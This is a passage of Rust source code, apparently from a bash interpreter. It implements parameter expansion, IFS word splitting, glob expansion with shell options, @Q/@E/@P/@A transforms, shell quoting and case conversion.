target\n        // name, not a further indirect lookup.\n        if let Parameter::Named(name) = parameter {\n            let is_nameref = state\n                .env\n                .get(name.as_str())\n                .is_some_and(|v| v.attrs.contains(crate::interpreter::VariableAttrs::NAMEREF));\n            if is_nameref {\n                return Ok(state\n                    .env\n                    .get(name.as_str())\n                    .map(|v| v.value.as_scalar().to_string())\n                    .unwrap_or_default());\n            }\n        }\n        Ok(resolve_indirect_value(&val, state))\n    } else {\n        Ok(val)\n    }\n}\n\n// ── $@ / $* expansion ───────────────────────────────────────────────\n\n/// Expand a parameter value into word segments, handling $@ and $* split semantics.\n/// Returns `true` if this was a `$@` expansion with zero positional params.\nfn expand_param_value(\n    val: &str,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n    parameter: &Parameter,\n) -> bool {\n    match parameter {\n        Parameter::Special(SpecialParameter::AllPositionalParameters { concatenate }) => {\n            if *concatenate {\n                // $* — join with first char of IFS.\n                // IFS unset → default space; IFS=\"\" → no separator.\n                let ifs_val = get_var(state, \"IFS\");\n                let ifs_empty = matches!(&ifs_val, Some(s) if s.is_empty());\n                if !in_dq && ifs_empty {\n                    // Unquoted $* with IFS='': each param is a separate word (like $@)\n                    if state.positional_params.is_empty() {\n                        return true;\n                    }\n                    for (i, param) in state.positional_params.iter().enumerate() {\n                        if i > 0 {\n                            start_new_word(words);\n                        }\n                        push_segment(words, param, false, false);\n                    }\n                    return false;\n                }\n                let sep = match ifs_val {\n                    Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                    None => \" \".to_string(),\n                };\n                let joined = state.positional_params.join(&sep);\n                push_segment(words, &joined, in_dq, in_dq);\n                false\n            } else if state.positional_params.is_empty() {\n                // $@ with zero params — signal to DQ handler to not create empty word.\n                true\n            } else {\n                // $@ — each positional parameter becomes a separate word.\n                // In double quotes (\"$@\"): each param is a quoted word.\n                // Outside quotes ($@): each param is an unquoted word (subject to IFS split).\n                for (i, param) in state.positional_params.iter().enumerate() {\n                    if i > 0 {\n                        start_new_word(words);\n                    }\n                    if !in_dq && param.is_empty() && ifs_preserves_unquoted_empty(state) {\n                        push_synthetic_empty_segment(words);\n                    } else {\n                        push_segment(words, param, in_dq, in_dq);\n                    }\n                }\n                false\n            }\n        }\n        Parameter::NamedWithAllIndices { name, concatenate } => {\n            let values = get_array_values(name, state);\n            if *concatenate {\n                // ${arr[*]} — join with first char of IFS\n                let ifs_val = get_var(state, \"IFS\");\n                let ifs_empty = matches!(&ifs_val, Some(s) if s.is_empty());\n                if !in_dq && ifs_empty {\n                    // Unquoted ${arr[*]} with IFS='': each element separate (like ${arr[@]})\n                    if values.is_empty() {\n                        return true;\n                    }\n                    for (i, v) in values.iter().enumerate() {\n                        if i > 0 {\n                            start_new_word(words);\n                        }\n                        push_segment(words, v, false, false);\n                    }\n                    return false;\n                }\n                let sep = match ifs_val {\n                    Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                    None => \" \".to_string(),\n                };\n                let joined = values.join(&sep);\n                push_segment(words, &joined, in_dq, in_dq);\n                false\n            } else if values.is_empty() {\n                // ${arr[@]} with zero elements — signal empty like $@\n                true\n            } else {\n                // ${arr[@]} — each element becomes a separate word (in dq)\n                for (i, v) in values.iter().enumerate() {\n                    if i > 0 {\n                        start_new_word(words);\n                    }\n                    if !in_dq && v.is_empty() && ifs_preserves_unquoted_empty(state) {\n                        push_synthetic_empty_segment(words);\n                    } else {\n                        push_segment(words, v, in_dq, in_dq);\n                    }\n                }\n                false\n            }\n        }\n        _ => {\n            push_segment(words, val, in_dq, in_dq);\n            false\n        }\n    }\n}\n\n// ── IFS word splitting ──────────────────────────────────────────────\n\n/// Get the IFS value from state, defaulting to space+tab+newline.\nfn get_ifs(state: &InterpreterState) -> String {\n    get_var(state, \"IFS\").unwrap_or_else(|| \" \\t\\n\".to_string())\n}\n\nfn ifs_preserves_unquoted_empty(state: &InterpreterState) -> bool {\n    match get_var(state, \"IFS\") {\n        Some(ifs) if !ifs.is_empty() => ifs.chars().any(|c| !matches!(c, ' ' | '\\t' | '\\n')),\n        _ => false,\n    }\n}\n\n/// A word after IFS splitting, carrying glob eligibility metadata.\nstruct SplitWord {\n    text: String,\n    glob_pattern: String,\n    /// True if the word may contain unquoted glob metacharacters.\n    may_glob: bool,\n}\n\n/// Finalize expanded words by performing IFS splitting on unquoted segments.\nfn finalize_with_ifs_split(words: Vec<WordInProgress>, state: &InterpreterState) -> Vec<SplitWord> {\n    let ifs = get_ifs(state);\n    let extglob = state.shopt_opts.extglob;\n    let mut result = Vec::new();\n    let total = words.len();\n    for (i, word) in words.into_iter().enumerate() {\n        if i + 1 == total && word_is_synthetic_only(&word) {\n            continue;\n        }\n        ifs_split_word(&word, &ifs, &mut result);\n    }\n    // When extglob is enabled, mark words containing extglob syntax as glob-eligible\n    if extglob {\n        for w in &mut result {\n            if !w.may_glob && has_extglob_pattern(&w.glob_pattern) {\n                w.may_glob = true;\n            }\n        }\n    }\n    result\n}\n\n/// Finalize expanded words by concatenating segments without IFS splitting.\nfn finalize_no_split(words: Vec<WordInProgress>) -> Vec<String> {\n    words\n        .into_iter()\n        .map(|segments| segments.into_iter().map(|s| s.text).collect::<String>())\n        .collect()\n}\n\nfn finalize_no_split_pattern(words: Vec<WordInProgress>) -> Vec<String> {\n    words\n        .into_iter()\n        .map(|segments| {\n            let mut pattern = String::new();\n            for segment in segments {\n                for ch in segment.text.chars() {\n                    append_glob_pattern_char(&mut pattern, ch, segment.glob_protected);\n                }\n            }\n            pattern\n        })\n        .collect()\n}\n\n/// Check whether a character is a glob metacharacter.\nfn is_glob_meta(c: char) -> bool {\n    matches!(c, '*' | '?' | '[')\n}\n\nfn is_glob_special(c: char) -> bool {\n    matches!(\n        c,\n        '*' | '?' | '[' | ']' | '\\\\' | '(' | ')' | '|' | '@' | '+' | '!'\n    )\n}\n\nfn append_glob_pattern_char(pattern: &mut String, c: char, glob_protected: bool) {\n    if glob_protected && is_glob_special(c) {\n        pattern.push('\\\\');\n    }\n    pattern.push(c);\n}\n\nfn push_split_char(\n    current: &mut String,\n    current_glob_pattern: &mut String,\n    current_may_glob: &mut bool,\n    c: char,\n    glob_protected: bool,\n) {\n    current.push(c);\n    append_glob_pattern_char(current_glob_pattern, c, glob_protected);\n    if !glob_protected && is_glob_meta(c) {\n        *current_may_glob = true;\n    }\n}\n\n/// Check whether a string contains extglob syntax like `@(`, `+(`, `*(`, `?(`, `!(`.\nfn has_extglob_pattern(s: &str) -> bool {\n    let b = s.as_bytes();\n    let mut i = 0;\n    while i + 1 < b.len() {\n        if b[i] == b'\\\\' {\n            i += 2;\n            continue;\n        }\n        if matches!(b[i], b'@' | b'+' | b'*' | b'?' | b'!') && b[i + 1] == b'(' {\n            return true;\n        }\n        i += 1;\n    }\n    false\n}\n\n/// IFS-split a single expanded word (represented as segments) into result words.\n///\n/// The algorithm flattens segments to character-level quotedness, then scans\n/// through splitting only on unquoted IFS characters.\nfn ifs_split_word(word: &[Segment], ifs: &str, result: &mut Vec<SplitWord>) {\n    // Track whether any segment in the word is quoted (even if empty).\n    let word_has_quoted = word.iter().any(|s| s.quoted);\n    let word_has_synthetic_empty = word.iter().any(|s| s.synthetic_empty);\n\n    // Check if the word starts/ends with an empty quoted segment (e.g. `\"\"$A\"\"`).\n    // These anchors produce leading/trailing empty fields.\n    let leading_empty_quoted = word.first().is_some_and(|s| s.quoted && s.text.is_empty());\n    let trailing_empty_quoted =\n        word.last().is_some_and(|s| s.quoted && s.text.is_empty()) && word.len() > 1;\n\n    // Flatten segments to (char, quoted, glob_protected) triples.\n    let chars: Vec<(char, bool, bool)> = word\n        .iter()\n        .flat_map(|s| s.text.chars().map(move |c| (c, s.quoted, s.glob_protected)))\n        .collect();\n\n    if chars.is_empty() {\n        // An empty word with at least one quoted segment → produce one empty word.\n        if word_has_quoted || word_has_synthetic_empty {\n            result.push(SplitWord {\n                text: String::new(),\n                glob_pattern: String::new(),\n                may_glob: false,\n            });\n        }\n        return;\n    }\n\n    // Fast path: entirely quoted → single word, no splitting.\n    if chars.iter().all(|(_, q, _)| *q) {\n        let s: String = chars.iter().map(|(c, _, _)| c).collect();\n        let mut glob_pattern = String::with_capacity(s.len());\n        for (c, _, gp) in &chars {\n            append_glob_pattern_char(&mut glob_pattern, *c, *gp);\n        }\n        let may_glob = chars.iter().any(|(c, _, gp)| !gp && is_glob_meta(*c));\n        result.push(SplitWord {\n            text: s,\n            glob_pattern,\n            may_glob,\n        });\n        return;\n    }\n\n    // Classify IFS characters.\n    let ifs_ws: Vec<char> = ifs\n        .chars()\n        .filter(|c| matches!(c, ' ' | '\\t' | '\\n'))\n        .collect();\n    let ifs_non_ws: Vec<char> = ifs\n        .chars()\n        .filter(|c| !matches!(c, ' ' | '\\t' | '\\n'))\n        .collect();\n\n    let is_ifs_ws = |c: char| ifs_ws.contains(&c);\n    let is_ifs_nw = |c: char| ifs_non_ws.contains(&c);\n\n    let len = chars.len();\n    let result_start = result.len();\n    let mut current = String::new();\n    let mut current_glob_pattern = String::new();\n    let mut current_may_glob = false;\n    let mut has_content = false;\n    let mut i = 0;\n\n    // Skip leading unquoted IFS whitespace (unless word starts with an empty\n    // quoted segment like `\"\"$A` — in that case, the leading whitespace\n    // becomes a field separator after the empty anchor field).\n    if leading_empty_quoted {\n        // Emit the leading empty field anchor.\n        result.push(SplitWord {\n            text: String::new(),\n            glob_pattern: String::new(),\n            may_glob: false,\n        });\n    } else {\n        while i < len {\n            let (c, quoted, _) = chars[i];\n            if !quoted && is_ifs_ws(c) {\n                i += 1;\n            } else {\n                break;\n            }\n        }\n    }\n\n    while i < len {\n        let (c, quoted, glob_protected) = chars[i];\n        if quoted {\n            push_split_char(\n                &mut current,\n                &mut current_glob_pattern,\n                &mut current_may_glob,\n                c,\n                glob_protected,\n            );\n            has_content = true;\n            i += 1;\n        } else if is_ifs_nw(c) {\n            // Non-whitespace IFS delimiter: always produces a field boundary.\n            result.push(SplitWord {\n                text: std::mem::take(&mut current),\n                glob_pattern: std::mem::take(&mut current_glob_pattern),\n                may_glob: current_may_glob,\n            });\n            current_may_glob = false;\n            has_content = false;\n            i += 1;\n            // Skip trailing IFS whitespace after delimiter.\n            while i < len && !chars[i].1 && is_ifs_ws(chars[i].0) {\n                i += 1;\n            }\n        } else if is_ifs_ws(c) {\n            // Run of unquoted IFS whitespace.\n            while i < len && !chars[i].1 && is_ifs_ws(chars[i].0) {\n                i += 1;\n            }\n            // If followed by unquoted non-ws IFS char, this ws is absorbed into that delimiter.\n            if i < len && !chars[i].1 && is_ifs_nw(chars[i].0) {\n                continue;\n            }\n            // Standalone whitespace delimiter.\n            if has_content || !current.is_empty() {\n                result.push(SplitWord {\n                    text: std::mem::take(&mut current),\n                    glob_pattern: std::mem::take(&mut current_glob_pattern),\n                    may_glob: current_may_glob,\n                });\n                current_may_glob = false;\n                has_content = false;\n            }\n        } else {\n            // Regular character (not IFS).\n            push_split_char(\n                &mut current,\n                &mut current_glob_pattern,\n                &mut current_may_glob,\n                c,\n                glob_protected,\n            );\n            has_content = true;\n            i += 1;\n        }\n    }\n\n    // Push the last field if non-empty. Trailing non-whitespace IFS delimiters\n    // do NOT produce a trailing empty field (bash behavior).\n    let had_content = has_content || !current.is_empty();\n    if had_content {\n        result.push(SplitWord {\n            text: current,\n            glob_pattern: current_glob_pattern,\n            may_glob: current_may_glob,\n        });\n    } else if word_has_quoted && result_start == result.len() && !trailing_empty_quoted {\n        // All unquoted content was IFS-split away, but a quoted segment\n        // (even if empty, e.g. `\"\"`) anchors the word to produce at least\n        // one empty field. Skip when trailing anchor will handle it.\n        result.push(SplitWord {\n            text: String::new(),\n            glob_pattern: String::new(),\n            may_glob: false,\n        });\n    }\n\n    // If the word ends with an empty quoted segment (e.g. `$A\"\"` or `\"\"$A\"\"`),\n    // emit a trailing empty field — but only when IFS content actually\n    // separated the anchor from preceding text. If the scan ended with\n    // pending content (e.g. `$VAR\"\"` with VAR=\"hello\"), the `\"\"` sticks\n    // to the last field and does not create a separate empty field.\n    if trailing_empty_quoted && !had_content {\n        result.push(SplitWord {\n            text: String::new(),\n            glob_pattern: String::new(),\n            may_glob: false,\n        });\n    }\n}\n\npub(crate) fn split_ifs_quoted_chars(chars: &[(char, bool)], ifs: &str) -> Vec<String> {\n    let word: Vec<Segment> = chars\n        .iter()\n        .map(|(c, quoted)| Segment {\n            text: c.to_string(),\n            quoted: *quoted,\n            glob_protected: *quoted,\n            synthetic_empty: false,\n        })\n        .collect();\n\n    let mut result = Vec::new();\n    ifs_split_word(&word, ifs, &mut result);\n    result.into_iter().map(|word| word.text).collect()\n}\n\nfn word_is_synthetic_only(word: &[Segment]) -> bool {\n    !word.is_empty() && word.iter().all(|segment| segment.synthetic_empty)\n}\n\n// ── Glob expansion ──────────────────────────────────────────────────\n\nuse std::path::PathBuf;\n\n/// Expand glob metacharacters in words against the filesystem.\n///\n/// For each word marked `may_glob`, attempt filesystem glob expansion.\n/// Behavior depends on shopt options: nullglob, failglob, dotglob,\n/// nocaseglob, and globstar. When `set -f` (noglob) is active, all\n/// glob expansion is skipped and patterns pass through as literals.\nfn glob_expand_words(\n    words: Vec<SplitWord>,\n    state: &InterpreterState,\n) -> Result<Vec<String>, RustBashError> {\n    // noglob: skip all filename expansion\n    if state.shell_opts.noglob {\n        return Ok(words.into_iter().map(|w| w.text).collect());\n    }\n\n    let cwd = PathBuf::from(&state.cwd);\n    let max = state.limits.max_glob_results;\n    // Parse GLOBIGNORE patterns (colon-separated list)\n    let globignore_patterns: Vec<String> = get_var(state, \"GLOBIGNORE\")\n        .filter(|s| !s.is_empty())\n        .map(|s| s.split(':').map(String::from).collect())\n        .unwrap_or_default();\n    let has_globignore = !globignore_patterns.is_empty();\n    let opts = GlobOptions {\n        // When GLOBIGNORE is set, bash implicitly enables dotglob\n        dotglob: state.shopt_opts.dotglob || has_globignore,\n        nocaseglob: state.shopt_opts.nocaseglob,\n        globstar: state.shopt_opts.globstar,\n        extglob: state.shopt_opts.extglob,\n        globskipdots: state.shopt_opts.globskipdots,\n    };\n\n    let mut result = Vec::new();\n\n    for w in words {\n        if !w.may_glob {\n            result.push(w.text);\n            continue;\n        }\n\n        match state.fs.glob_with_opts(&w.glob_pattern, &cwd, &opts) {\n            Ok(matches) if !matches.is_empty() => {\n                if matches.len() > max {\n                    return Err(RustBashError::LimitExceeded {\n                        limit_name: \"max_glob_results\",\n                        limit_value: max,\n                        actual_value: matches.len(),\n                    });\n                }\n                let before_len = result.len();\n                for p in &matches {\n                    let s = p.to_string_lossy().into_owned();\n                    // Apply GLOBIGNORE filtering\n                    if has_globignore {\n                        let basename = s.rsplit('/').next().unwrap_or(&s);\n                        // When GLOBIGNORE is set, . and .. are automatically excluded.\n                        // Also skip empty entries (. after path stripping).\n                        if basename == \".\" || basename == \"..\" || s.is_empty() {\n                            continue;\n                        }\n                        // Match GLOBIGNORE patterns against the full path\n                        if globignore_patterns\n                            .iter()\n                            .any(|pat| pattern::glob_match_path(pat, &s))\n                        {\n                            continue;\n                        }\n                    }\n                    result.push(s);\n                }\n                // When GLOBIGNORE filters ALL matches, treat as no-match\n                if has_globignore && result.len() == before_len {\n                    if state.shopt_opts.failglob {\n                        return Err(RustBashError::FailGlob {\n                            pattern: w.text.clone(),\n                        });\n                    }\n                    if state.shopt_opts.nullglob {\n                        continue;\n                    }\n                    result.push(w.text.clone());\n                }\n            }\n            _ => {\n                if state.shopt_opts.failglob {\n                    return Err(RustBashError::FailGlob {\n                        pattern: w.text.clone(),\n                    });\n                }\n                if state.shopt_opts.nullglob {\n                    // nullglob: pattern expands to nothing\n                    continue;\n                }\n                // Default: keep pattern as literal\n                result.push(w.text);\n            }\n        }\n    }\n\n    Ok(result)\n}\n\n// ── Transform / case helpers ────────────────────────────────────────\n\nuse brush_parser::word::ParameterTransformOp;\n\nfn apply_transform(\n    val: &str,\n    op: &ParameterTransformOp,\n    var_name: Option<&str>,\n    scalar_defined: bool,\n    variable_exists: bool,\n    state: &InterpreterState,\n) -> String {\n    match op {\n        ParameterTransformOp::ToUpperCase => uppercase_matching(val, None, false),\n        ParameterTransformOp::ToLowerCase => lowercase_matching(val, None, false),\n        ParameterTransformOp::CapitalizeInitial => uppercase_first_matching(val, None, false),\n        ParameterTransformOp::Quoted => {\n            if scalar_defined {\n                shell_quote(val)\n            } else {\n                String::new()\n            }\n        }\n        ParameterTransformOp::ExpandEscapeSequences => expand_escape_sequences(val),\n        ParameterTransformOp::PromptExpand => {\n            if scalar_defined {\n                expand_prompt_sequences(val, state)\n            } else {\n                String::new()\n            }\n        }\n        ParameterTransformOp::PossiblyQuoteWithArraysExpanded { .. } => {\n            if scalar_defined {\n                shell_quote(val)\n            } else {\n                String::new()\n            }\n        }\n        ParameterTransformOp::ToAssignmentLogic => {\n            if variable_exists {\n                var_name\n                    .map(|name| format_assignment(name, state))\n                    .unwrap_or_default()\n            } else {\n                String::new()\n            }\n        }\n        ParameterTransformOp::ToAttributeFlags => {\n            if variable_exists {\n                var_name\n                    .map(|name| format_attribute_flags(name, state))\n                    .unwrap_or_default()\n            } else {\n                String::new()\n            }\n        }\n    }\n}\n\n/// Shell-quote a value so it can be safely reused as input (@Q).\n/// Empty strings → `''`. Strings without special chars → `'val'`.\n/// Strings with single quotes (no control chars) → POSIX-style `'..'\\''...'`.\n/// Strings with control chars → `$'...'` with escaping.\nfn shell_quote(val: &str) -> String {\n    if val.is_empty() {\n        return \"''\".to_string();\n    }\n    let has_control = val.chars().any(|c| c.is_ascii_control());\n    let has_single_quote = val.contains('\\'');\n    if !has_single_quote && !has_control {\n        return format!(\"'{val}'\");\n    }\n    if has_control {\n        // Use $'...' notation for strings with control characters\n        let mut out = String::from(\"$'\");\n        for ch in val.chars() {\n            match ch {\n                '\\'' => out.push_str(\"\\\\'\"),\n                '\\\\' => out.push_str(\"\\\\\\\\\"),\n                '\\n' => out.push_str(\"\\\\n\"),\n                '\\t' => out.push_str(\"\\\\t\"),\n                '\\r' => out.push_str(\"\\\\r\"),\n                '\\x07' => out.push_str(\"\\\\a\"),\n                '\\x08' => out.push_str(\"\\\\b\"),\n                '\\x0C' => out.push_str(\"\\\\f\"),\n                '\\x0B' => out.push_str(\"\\\\v\"),\n                '\\x1B' => out.push_str(\"\\\\E\"),\n                c if c.is_ascii_control() => out.push_str(&format!(\"\\\\{:03o}\", c as u32)),\n                c => out.push(c),\n            }\n        }\n        out.push('\\'');\n        return out;\n    }\n    // POSIX-style: close quote, backslash-escape the single quote, reopen\n    let mut out = String::from(\"'\");\n    for ch in val.chars() {\n        if ch == '\\'' {\n            out.push_str(\"'\\\\''\");\n        } else {\n            out.push(ch);\n        }\n    }\n    out.push('\\'');\n    out\n}\n\n/// Expand backslash escape sequences in a string (@E).\nfn expand_escape_sequences(val: &str) -> String {\n    let mut result = String::new();\n    let chars: Vec<char> = val.chars().collect();\n    let mut i = 0;\n    while i < chars.len() {\n        if chars[i] == '\\\\' && i + 1 < chars.len() {\n            i += 1;\n            match chars[i] {\n                'n' => result.push('\\n'),\n                't' => result.push('\\t'),\n                'r' => result.push('\\r'),\n                'a' => result.push('\\x07'),\n                'b' => result.push('\\x08'),\n                'f' => result.push('\\x0C'),\n                'v' => result.push('\\x0B'),\n                'e' | 'E' => result.push('\\x1B'),\n                '\\\\' => result.push('\\\\'),\n                '\\'' => result.push('\\''),\n                '\"' => result.push('\"'),\n                'x' => {\n                    // \\xHH — hex escape\n                    let mut hex = String::new();\n                    while hex.len() < 2 && i + 1 < chars.len() && chars[i + 1].is_ascii_hexdigit() {\n                        i += 1;\n                        hex.push(chars[i]);\n                    }\n                    if hex.is_empty() {\n                        // No hex digits followed — preserve as literal \\x\n                        result.push('\\\\');\n                        result.push('x');\n                    } else if let Ok(n) = u32::from_str_radix(&hex, 16) {\n                        let byte = n & 0xff;\n                        if byte == 0 {\n                            break;\n                        }\n                        if let Some(c) = shell_char_from_byte_escape(byte) {\n                            result.push(c);\n                        }\n                    }\n                    // Invalid codepoints (e.g. surrogates \\uD800) silently produce nothing, matching bash.\n                }\n                'u' => {\n                    // \\uHHHH — unicode escape (up to 4 hex digits)\n                    let mut hex = String::new();\n                    while hex.len() < 4 && i + 1 < chars.len() && chars[i + 1].is_ascii_hexdigit() {\n                        i += 1;\n                        hex.push(chars[i]);\n                    }\n                    if hex.is_empty() {\n                        result.push('\\\\');\n                        result.push('u');\n                    } else if let Ok(n) = u32::from_str_radix(&hex, 16)\n                        && let Some(c) = char::from_u32(n)\n                    {\n                        result.push(c);\n                    }\n                }\n                'U' => {\n                    // \\UHHHHHHHH — unicode escape (up to 8 hex digits)\n                    let mut hex = String::new();\n                    while hex.len() < 8 && i + 1 < chars.len() && chars[i + 1].is_ascii_hexdigit() {\n                        i += 1;\n                        hex.push(chars[i]);\n                    }\n                    if hex.is_empty() {\n                        result.push('\\\\');\n                        result.push('U');\n                    } else if let Ok(n) = u32::from_str_radix(&hex, 16)\n                        && let Some(c) = char::from_u32(n)\n                    {\n                        result.push(c);\n                    }\n                }\n                '0'..='7' => {\n                    // Octal escape: \\0NNN (leading zero, up to 3 more digits)\n                    // or \\NNN (1-7, up to 2 more digits)\n                    let first_digit = chars[i].to_digit(8).unwrap_or(0);\n                    let max_extra = if chars[i] == '0' { 3 } else { 2 };\n                    let mut val_octal = first_digit;\n                    let mut count = 0;\n                    while count < max_extra\n                        && i + 1 < chars.len()\n                        && chars[i + 1] >= '0'\n                        && chars[i + 1] <= '7'\n                    {\n                        i += 1;\n                        val_octal = val_octal * 8 + chars[i].to_digit(8).unwrap_or(0);\n                        count += 1;\n                    }\n                    let byte = val_octal & 0xff;\n                    if byte == 0 {\n                        break;\n                    }\n                    if let Some(c) = shell_char_from_byte_escape(byte) {\n                        result.push(c);\n                    }\n                }\n                'c' => {\n                    if i + 1 < chars.len() {\n                        i += 1;\n                        let ctrl = ((chars[i] as u32) & 0x1f) as u8;\n                        result.push(ctrl as char);\n                    } else {\n                        result.push('\\\\');\n                        result.push('c');\n                    }\n                }\n                other => {\n                    result.push('\\\\');\n                    result.push(other);\n                }\n            }\n        } else {\n            result.push(chars[i]);\n        }\n        i += 1;\n    }\n    result\n}\n\nfn shell_char_from_byte_escape(value: u32) -> Option<char> {\n    if value <= 0x7f {\n        char::from_u32(value)\n    } else if value <= 0xff {\n        crate::shell_bytes::decode_shell_bytes(&[value as u8])\n            .chars()\n            .next()\n    } else {\n        None\n    }\n}\n\n/// Expand prompt escape sequences (@P).\nfn expand_prompt_sequences(val: &str, state: &InterpreterState) -> String {\n    let mut result = String::new();\n    let chars: Vec<char> = val.chars().collect();\n    let mut i = 0;\n    while i < chars.len() {\n        if chars[i] == '\\\\' && i + 1 < chars.len() {\n            i += 1;\n            match chars[i] {\n                'u' => {\n                    result.push_str(&get_var(state, \"USER\").unwrap_or_else(|| \"user\".to_string()));\n                }\n                'h' => {\n                    let hostname =\n                        get_var(state, \"HOSTNAME\").unwrap_or_else(|| \"localhost\".to_string());\n                    // \\h is short hostname (up to first dot)\n                    result.push_str(hostname.split('.').next().unwrap_or(&hostname));\n                }\n                'H' => {\n                    result.push_str(\n                        &get_var(state, \"HOSTNAME\").unwrap_or_else(|| \"localhost\".to_string()),\n                    );\n                }\n                'w' => {\n                    let cwd = &state.cwd;\n                    let home = get_var(state, \"HOME\").unwrap_or_default();\n                    if !home.is_empty() && cwd.starts_with(&home) {\n                        result.push('~');\n                        result.push_str(&cwd[home.len()..]);\n                    } else {\n                        result.push_str(cwd);\n                    }\n                }\n                'W' => {\n                    let cwd = &state.cwd;\n                    if cwd == \"/\" {\n                        result.push('/');\n                    } else {\n                        result.push_str(cwd.rsplit('/').next().unwrap_or(cwd));\n                    }\n                }\n                'd' => {\n                    // \\d — \"Weekday Month Day\" in current locale\n                    result.push_str(\"Mon Jan 01\");\n                }\n                't' => {\n                    // \\t — HH:MM:SS (24-hour)\n                    result.push_str(\"00:00:00\");\n                }\n                'T' => {\n                    // \\T — HH:MM:SS (12-hour)\n                    result.push_str(\"12:00:00\");\n                }\n                '@' => {\n                    // \\@ — HH:MM AM/PM\n                    result.push_str(\"12:00 AM\");\n                }\n                'A' => {\n                    // \\A — HH:MM (24-hour)\n                    result.push_str(\"00:00\");\n                }\n                'n' => result.push('\\n'),\n                'r' => result.push('\\r'),\n                'a' => result.push('\\x07'),\n                'e' => result.push('\\x1B'),\n                's' => {\n                    result.push_str(&state.shell_name);\n                }\n                'v' | 'V' => {\n                    result.push_str(\"5.0\");\n                }\n                '#' => {\n                    result.push_str(&state.counters.command_count.to_string());\n                }\n                '$' => {\n                    // \\$ — '#' if uid is 0, else '$'\n                    result.push('$');\n                }\n                '[' | ']' => {\n                    // Non-printing character delimiters — empty in output\n                }\n                '\\\\' => result.push('\\\\'),\n                other => {\n                    result.push('\\\\');\n                    result.push(other);\n                }\n            }\n        } else {\n            result.push(chars[i]);\n        }\n        i += 1;\n    }\n    result\n}\n\n/// Format a variable as an assignment statement (@A).\nfn format_assignment(name: &str, state: &InterpreterState) -> String {\n    use crate::interpreter::{VariableAttrs, VariableValue};\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let var = match state.env.get(&resolved) {\n        Some(v) => v,\n        None => return String::new(),\n    };\n\n    let mut flags = String::from(\"declare \");\n    let mut flag_chars = String::new();\n    match &var.value {\n        VariableValue::IndexedArray(_) => flag_chars.push('a'),\n        VariableValue::AssociativeArray(_) => flag_chars.push('A'),\n        VariableValue::Scalar(_) => {}\n    }\n    if var.attrs.contains(VariableAttrs::INTEGER) {\n        flag_chars.push('i');\n    }\n    if var.attrs.contains(VariableAttrs::LOWERCASE) {\n        flag_chars.push('l');\n    }\n    if var.attrs.contains(VariableAttrs::NAMEREF) {\n        flag_chars.push('n');\n    }\n    if var.attrs.contains(VariableAttrs::READONLY) {\n        flag_chars.push('r');\n    }\n    if var.attrs.contains(VariableAttrs::UPPERCASE) {\n        flag_chars.push('u');\n    }\n    if var.attrs.contains(VariableAttrs::EXPORTED) {\n        flag_chars.push('x');\n    }\n\n    if flag_chars.is_empty() {\n        flags.push_str(\"-- \");\n    } else {\n        flags.push('-');\n        flags.push_str(&flag_chars);\n        flags.push(' ');\n    }\n\n    match &var.value {\n        VariableValue::Scalar(s) => {\n            let quoted = s.replace('\\'', \"'\\\\''\");\n            if flags == \"declare -- \" {\n                format!(\"{resolved}='{quoted}'\")\n            } else {\n                format!(\"{flags}{resolved}='{quoted}'\")\n            }\n        }\n        VariableValue::IndexedArray(map) => {\n            let elements: Vec<String> = map.iter().map(|(k, v)| format!(\"[{k}]=\\\"{v}\\\"\")).collect();\n            format!(\"{flags}{resolved}=({})\", elements.join(\" \"))\n        }\n        VariableValue::AssociativeArray(map) => {\n            let mut keys: Vec<&String> = map.keys().collect();\n            keys.sort();\n            let elements: Vec<String> = keys\n                .iter()\n                .map(|k| format!(\"[{k}]=\\\"{}\\\"\", map[*k]))\n                .collect();\n            format!(\"{flags}{resolved}=({})\", elements.join(\" \"))\n        }\n    }\n}\n\n/// Return attribute flags as a string (@a).\nfn format_attribute_flags(name: &str, state: &InterpreterState) -> String {\n    use crate::interpreter::{VariableAttrs, VariableValue};\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let var = match state.env.get(&resolved) {\n        Some(v) => v,\n        None => return String::new(),\n    };\n    let mut flags = String::new();\n    match &var.value {\n        VariableValue::IndexedArray(_) => flags.push('a'),\n        VariableValue::AssociativeArray(_) => flags.push('A'),\n        VariableValue::Scalar(_) => {}\n    }\n    if var.attrs.contains(VariableAttrs::INTEGER) {\n        flags.push('i');\n    }\n    if var.attrs.contains(VariableAttrs::LOWERCASE) {\n        flags.push('l');\n    }\n    if var.attrs.contains(VariableAttrs::NAMEREF) {\n        flags.push('n');\n    }\n    if var.attrs.contains(VariableAttrs::READONLY) {\n        flags.push('r');\n    }\n    if var.attrs.contains(VariableAttrs::UPPERCASE) {\n        flags.push('u');\n    }\n    if var.attrs.contains(VariableAttrs::EXPORTED) {\n        flags.push('x');\n    }\n    flags\n}\n\nfn safe_upper_char(c: char) -> char {\n    let mapped: Vec<char> = c.to_uppercase().collect();\n    if mapped.len() == 1 { mapped[0] } else { c }\n}\n\nfn safe_lower_char(c: char) -> char {\n    let mapped: Vec<char> = c.to_lowercase().collect();\n    if mapped.len() == 1 { mapped[0] } else { c }\n}\n\nfn pattern_matches_char(pattern: Option<&str>, ch: char, extglob: bool) -> bool {\n    pattern.is_none_or(|pat| {\n        let s = ch.to_string();\n        if extglob {\n            pattern::extglob_match(pat, &s)\n        } else {\n            pattern::glob_match(pat, &s)\n        }\n    })\n}\n\nfn uppercase_matching(s: &str, pattern: Option<&str>, extglob: bool) -> String {\n    s.chars()\n        .map(|ch| {\n            if pattern_matches_char(pattern, ch, extglob) {\n                safe_upper_char(ch)\n            } else {\n                ch\n            }\n        })\n        .collect()\n}\n\nfn lowercase_matching(s: &str, pattern: Option<&str>, extglob: bool) -> String {\n    s.chars()\n        .map(|ch| {\n            if pattern_matches_char(pattern, ch, extglob) {\n                safe_lower_char(ch)\n            } else {\n                ch\n            }\n        })\n        .collect()\n}\n\nfn uppercase_first_matching(s: &str, pattern: Option<&str>, extglob: bool) -> String {\n    let mut chars = s.chars();\n    match chars.next() {\n        None => String::new(),\n        Some(ch) => {\n            let mut result = if pattern_matches_char(pattern, ch, extglob) {\n                safe_upper_char(ch).to_string()\n            } else {\n                ch.to_string()\n            };\n            result.extend(chars);\n            result\n        }\n    }\n}\n\nfn lowercase_first_matching(s: &str, pattern: Option<&str>, extglob: bool) -> String {\n    let mut chars = s.chars();\n    match chars.next() {\n        None => 